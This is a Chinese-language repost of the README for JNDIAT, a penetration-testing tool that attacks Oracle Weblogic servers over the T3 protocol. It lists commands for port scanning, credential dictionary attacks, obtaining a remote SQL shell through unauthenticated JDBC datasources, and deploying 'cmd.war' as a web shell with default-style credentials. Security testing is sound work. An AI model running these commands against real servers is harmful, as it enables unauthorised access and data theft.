JNDI攻击工具

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/quentinhardy/jndiat

JNDIAT - JNDI 攻击工具

JNDIATJNDI Attacking Tool )是一款开源的渗透测试工具,通过T3协议测试 Weblogic 服务器 安全性 。

JNDIAT的使用示例:

  • 您想搜索是否有可 通过 T3 协议访问的 Weblogic 端口 ,是否通过 SSL/TLS;
  • 您想远程 搜索有效帐户 以获得特权连接;
  • 您想列出可 访问的 JNDI(Java 命名和目录接口), 以了解您可以在远程 Weblogic 服务器上做什么(没有或有 Weblogic 帐户);
  • 您想 使用不受保护的(即“公共”)JDBC 数据源 以获得远程交互式 SQL shell;
  • 您想要在 Weblogic 服务器上 部署一个应用程序 (例如 War),以便拥有一个 Web shell(需要帐户)。

针对 JNIDAT 2.0 版本 在 Oracle Weblogic 12 和 Java JRE 8( 官方下载链接)上进行了测试。 针对 JNIDAT 1.0 版本在 Oracle Weblogic 11 和 Java JRE 8 上进行了测试。

注意事项

  • 如果您在使用 jnidat v2.0 连接到较旧的 Weblogic 服务器时遇到问题,您应该尝试使用 JNDIAT v1.0。 实际上,jndiat 2.0 使用 weblogic v12 库。 jndiat 1.0 使用旧的 weblogic 库。
  • 不要使用 OpenJDK 来运行 Jnidat jar 文件。

变更日志

  • 版本 2.00 (2022/07/11) :
    • 新版本 Weblogic 的 SSL 错误修复。 较旧的 jndiat 版本无法通过 TLS 连接到最新版本的 Weblogic。
  • 版本 1.00 (2021/06/11) :
    • 无法列出绑定时的错误修复
  • 版本 0.01(2018/11/31)
    • 第一个版本。

特征

  • 支持 T3T3sT3 over SSL )连接。 JNDIAT 创建一个本地临时 Java KeyStore 来验证 Weblogic 服务器的证书;
  • 支持 使用空凭据 进行身份验证,即登录名='' 和密码=''。 公共JDBC 数据源在Weblogic 中默认可以使用空帐户(在version11 上测试);
  • 如果 weblogic 在域中,则支持目标;
  • 检测可通过 T3 协议访问的 端口;
  • 通过字典攻击 找到有效凭证;
  • 获取可 使用特定帐户(或没有帐户) 访问的 JNDI 列表;
  • 通过 JDBC 数据源 获取 远程 sql shell ;
  • 使用特权帐户,您可以在 weblogic 服务器上 部署应用程序 ,以便拥有一个 Web shell。

使用示例

下载最新版本的 jndiat https://github.com/quentinhardy/jndiat/releases

主要帮助

java -jar Jndiat.jar -h

JNDIAT版本

java -jar Jndiat.jar --version

扫描端口

该模块应用于扫描可通过 T3(或 T3s)协议访问的端口以获取 JNDI。

要知道是否可以使用端口 7001 建立 T3 连接:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001

扫描端口 7001 和 7002:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'

扫描 7001 到 7010 端口:

java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'

JNDI列表

该模块应该用于获取可通过 T3 协议访问的 JNDI 列表。 此模块用于了解某些 JNDI 是否可在未经身份验证的情况下访问(例如:“公共”JDBC 数据源)。

要在服务器 192.168.56.101 的端口 7001 上访问 JNDI:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001

如果您未在命令行中指定凭据,该工具将返回无需身份验证即可访问的 JNDI。 如果您知道有效凭据,则可以使用它来获取更多 JNDI:

java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password

JDBC 数据源

该模块允许您通过 JDBC 数据源获取远程 SQL shell。

要从 JNDI 数据源获取交互式 SQL shell:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell

该工具将询问您要使用的 JDBC 数据源。 如果您知道数据源名称,则可以指定它:

java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'

部署应用程序

由于这个模块,您可以通过 T3 协议在远程 Weblogic 服务器上部署应用程序(例如 .war、.ear)。 要使用此模块,您可能拥有高权限(当然还有帐户)。

以下命令在远程 weblogic 服务器上部署应用程序“cmd.war”。

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war

从远程 weblogic 服务器取消部署之前的 war ('cmd.war'):

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy

要更改部署在 weblogic 服务器上的应用程序名称, 必须使用 --display-name选项:

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'

要取消部署名为appli-name-displayed 的特定应用程序 :

java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'

特别感谢

apache ant 1.10.12 和 Java JDK 8 已用于生成 jnidat 2.0 jar 文件。

标签:工具分享, jndi注入, java安全